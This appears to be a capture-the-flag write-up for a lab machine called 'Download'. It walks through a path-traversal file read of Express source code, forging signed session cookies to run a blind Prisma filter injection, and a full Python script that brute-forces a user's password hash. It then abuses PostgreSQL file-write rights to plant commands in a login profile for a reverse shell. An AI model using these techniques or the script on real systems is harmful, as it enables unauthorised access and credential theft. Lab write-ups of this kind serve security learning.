$ nmap -p- --min-rate 4000 10.129.96.11
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-07 08:56 +08
Nmap scan report for 10.129.96.11
Host is up (0.16s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
31114/tcp filtered unknown
31122/tcp filtered unknown
60945/tcp filtered unknown
63906/tcp filtered unknown
A few filtered ports and just a web service. We have to add download.htb to our /etc/hosts file to view the website.
Web Enum -> LFI Source Code
The website provides a file scanner service, indicating that there could be a file upload vulnerability:
Visiting the link below brings us to a file upload page:
Proxying traffic through Burp indicates that this is an Express based website. I attempted to upload a file, and got a unique UID and link:
If we click the Copy Link button, a small textbox appears in the top left with the URL followed by an alert:
I found this rather fishy because it literally creates an element in the top left. There is a file called copy.js which contains the code for the function, but it does not have any glaring vulnerabilities.
I noted that there was a JWT like token present within the download, as well as a .sig cookie:
Here's the decoded token:
{"flashes":{"info":[],"error":[],"success":[]}}
The next thing to enumerate would be the login. I created a test user and enumerated the website some more:
When we create a user, the download_session cookie has a bit of extra information:
The .sig cookie is different too, and based on the extension of it I think it is the signature of the cookie or something. Since this was running Express, I googled for cookie related exploits pertaining to that, and found this repository:
The similarities between the exploit found in this repository and the website were suspicious, but more enumeration could be done before going this route.
Attempts to spoof tokens doesn't work, as they are likely being signed. The last thing I enumerated was the Download feature. It redirects us to this link:
Perhaps this could be used to download other files and stuff. The uploads to this website are probably being stored within a downloads or uploads folder on the machine, so I attempted some basic LFI with some Express file names, and found that ..%2fapp.js worked:
Here's the source code:
"use strict";var __importDefault = (this&&this.__importDefault) ||function (mod) {return (mod &&mod.__esModule) ? mod : { "default": mod };};Object.defineProperty(exports,"__esModule", { value:true });constexpress_1=__importDefault(require("express"));constnunjucks_1=__importDefault(require("nunjucks"));constpath_1=__importDefault(require("path"));constcookie_parser_1=__importDefault(require("cookie-parser"));constcookie_session_1=__importDefault(require("cookie-session"));constflash_1=__importDefault(require("./middleware/flash"));constauth_1=__importDefault(require("./routers/auth"));constfiles_1=__importDefault(require("./routers/files"));consthome_1=__importDefault(require("./routers/home"));constclient_1=require("@prisma/client");constapp= (0,express_1.default)();constport=3000;constclient=newclient_1.PrismaClient();constenv=nunjucks_1.default.configure(path_1.default.join(__dirname,"views"), { autoescape:true, express: app, noCache:true,});app.use((0,cookie_session_1.default)({ name:"download_session", keys: ["8929874489719802418902487651347865819634518936754"], maxAge:7*24*60*60*1000,}));app.use(flash_1.default);app.use(express_1.default.urlencoded({ extended:false }));app.use((0,cookie_parser_1.default)());app.use("/static",express_1.default.static(path_1.default.join(__dirname,"static")));app.get("/", (req, res) => {res.render("index.njk");});app.use("/files",files_1.default);app.use("/auth",auth_1.default);app.use("/home",home_1.default);app.use("*", (req, res) => {res.render("error.njk", { statusCode:404 });});app.listen(port,process.env.NODE_ENV==="production"?"127.0.0.1":"0.0.0.0", () => {console.log("Listening on ", port);if (process.env.NODE_ENV==="production") {setTimeout(async () => {awaitclient.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`); },300000); }});
The thing that jumps out the most is the SQL query, which dumps the output to a .csv file. Additionally, the key for the token signing is present. There are a lot of other folders being imported, such as ..%2frouters%2fhome.js. Visiting files.js shows us why the LFI exists:
The id parameter is not being sanitised at all. I managed to find package.json as part of the folders too:
{"name":"download.htb","version":"1.0.0","description":"","main":"app.js","scripts": {"test":"echo \"Error: no test specified\" && exit 1","dev":"nodemon --exec ts-node --files ./src/app.ts","build":"tsc" },"keywords": [],"author":"wesley","license":"ISC","dependencies": {"@prisma/client":"^4.13.0","cookie-parser":"^1.4.6","cookie-session":"^2.0.0","express":"^4.18.2","express-fileupload":"^1.4.0","zod":"^3.21.4" },"devDependencies": {"@types/cookie-parser":"^1.4.3","@types/cookie-session":"^2.0.44","@types/express":"^4.17.17","@types/express-fileupload":"^1.4.1","@types/node":"^18.15.12","@types/nunjucks":"^3.2.2","nodemon":"^2.0.22","nunjucks":"^3.2.4","prisma":"^4.13.0","ts-node":"^10.9.1","typescript":"^5.0.4" }}
From this, I learned that the user is named wesley. I also took a look at routers/auth.js to see how the cookie is being used:
"use strict";var __importDefault = (this&&this.__importDefault) ||function (mod) {return (mod &&mod.__esModule) ? mod : { "default": mod };};Object.defineProperty(exports,"__esModule", { value:true });constclient_1=require("@prisma/client");constexpress_1=__importDefault(require("express"));constzod_1=__importDefault(require("zod"));constnode_crypto_1=__importDefault(require("node:crypto"));constrouter=express_1.default.Router();constclient=newclient_1.PrismaClient();consthashPassword= (password) => {returnnode_crypto_1.default.createHash("md5").update(password).digest("hex");};constLoginValidator=zod_1.default.object({ username:zod_1.default.string().min(6).max(64), password:zod_1.default.string().min(6).max(64),});router.get("/login", (req, res) => {res.render("login.njk");});router.post("/login",async (req, res) => {constresult=LoginValidator.safeParse(req.body);if (!result.success) {res.flash("error","Your login details were invalid, please try again.");returnres.redirect("/auth/login"); }constdata=result.data;constuser=awaitclient.user.findFirst({ where: { username:data.username, password:hashPassword(data.password) }, });if (!user) {res.flash("error","That username / password combination did not exist.");returnres.redirect("/auth/register"); }req.session.user = { id:user.id, username:user.username, };res.flash("success","You are now logged in.");returnres.redirect("/home/");});router.get("/register", (req, res) => {res.render("register.njk");});constRegisterValidator=zod_1.default.object({ username:zod_1.default.string().min(6).max(64), password:zod_1.default.string().min(6).max(64),});router.post("/register",async (req, res) => {constresult=RegisterValidator.safeParse(req.body);if (!result.success) {res.flash("error","Your registration details were invalid, please try again.");returnres.redirect("/auth/register"); }constdata=result.data;constexistingUser=awaitclient.user.findFirst({ where: { username:data.username }, });if (existingUser) {res.flash("error","There is already a user with that email address or username.");returnres.redirect("/auth/register"); }awaitclient.user.create({ data: { username:data.username, password:hashPassword(data.password), }, });res.flash("success","Your account has been registered.");returnres.redirect("/auth/login");});router.get("/logout", (req, res) => {if (req.session)req.session.user =null;res.flash("success","You have been successfully logged out.");returnres.redirect("/auth/login");});exports.default = router;
A user's password is hashed and unsalted, then used for authentication purposes. Since this was Express, and the token is not being validated in anyway, I thought of trying some injection.
auth.js uses this bit of code to check a username and password:
router.post("/login",async (req, res) => {constresult=LoginValidator.safeParse(req.body);if (!result.success) {res.flash("error","Your login details were invalid, please try again.");returnres.redirect("/auth/login"); }constdata=result.data;constuser=awaitclient.user.findFirst({ where: { username:data.username, password:hashPassword(data.password) }, });if (!user) {res.flash("error","That username / password combination did not exist.");returnres.redirect("/auth/register"); }req.session.user = { id:user.id, username:user.username, };res.flash("success","You are now logged in.");returnres.redirect("/home/");});
This checks for the username and hashed password parameter within a cookie. Interestingly, it checks whether the userparameter is true, and then redirects the respective page instead of checking the parameters.
findFirst just checks whether the query matches our criteria:
Blind Injection -> Cookie Monster Brute Force
Here are the facts so far and my deductions:
.sig , the key I found and how the token is structured -> Definitely need to use Cookie Monster somehow.
User is wesley, and hashes are unsalted and used directly for authentication -> Brute force is theoretically possible if done smartly.
There's a SQL query that is 100% injectable, but I don't know how to exploit it at this point.
The cookie is not validated in any way, it takes my input directly. It checks whether a true condition is returned from findFirst from the prisma API module -> Blind Injection based on where it redirects us?
Based on the facts above, there should be a method of which we can brute force the hash using a smartly created user cookie that is signed through Cookie Monster.
Since this uses prisma client API, we can try to inject some commands from that module based on their nested JSON queries possible.
Using these parameters on the website returned the /home directory with response that looks like it works:
I tried each character until I reached f, and it returned something different:
The length of the first response was 2174, while the second was different. Based on this, we should have exploited blind injection successfully and automation is possible. Further testing with 2 characters works as well.
Here's my script:
import stringimport requestsimport jsonimport requestsimport subprocesspassword =''chars ="abcdef0123456789"# Hashes only have these characterstest =''defgenerate(c): query ={"user":{"username":{"contains":"WESLEY"},"password":{"startsWith":c}}}withopen("cookie.json","w")as f: f.write(json.dumps(query)) output = subprocess.check_output(["./cookie-monster.js", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ") jwt = output.split("download_session=")[1] jwt = jwt.split(" ")[0] jwt = jwt.split("\x1b")[0] sig = output.split("download_session.sig=")[1] sig = sig.split("\x1b")[0]return jwt,sigfor i inrange(32):for c in chars: test = password + c jwt, sig =generate(test) cookie ={"download_session": jwt,"download_session.sig": sig} r = requests.get('http://download.htb/home/', cookies=cookie)iflen(r.text)!=2174:print(f"Found char: {c}") password += cprint(password)breakprint(password)
This would slowly print out a hash value:
When we get the full hash, we can take it to CrackStation to crack it and then use that same password to ssh in as wesley!
It's quite clear that we have to somehow escalate privileges to the postgres user since it has a console and PostgreSQL is open on the machine. I ran a pspy64 scan to see commands executed by the postgres and root users too:
With this, we can login to the PostgreSQL server via psql.
PostGreSQL Privileges -> Postgres Shell
We can first enumerate the privileges we have with \du:
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-------------------------
download | | {pg_write_server_files}
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
Interestingly, we are given the pg_write_server_files privilege. The database itself does not have any interesting information, so we are supposed to use this privilege to escalate to postgres.
Since we have an arbitrary write as this user, I thought of creating a /bin/bash SUID binary to escalate to it. Being able to write files as the postgres user is no good if we cannot execute it as postgres.
I noticed that root runs su -l postgres, meaning that that user is being logged into periodically. This means that files like .bashrc and .profile are being executed when this command is executed. Using our file write abilities, we can write in some commands to the .bash_profile file, which would be executed when root logs in as postgres.
However, we are still technically wesleyinstead of postgres even if the EUID changes. We can replace the command executed with a reverse shell instead:
Then, I compiled it using gcc and transferred to the machine and then ran chmod on it. Afterwards, I ran the same SQL command to execute this compiled exploit as root: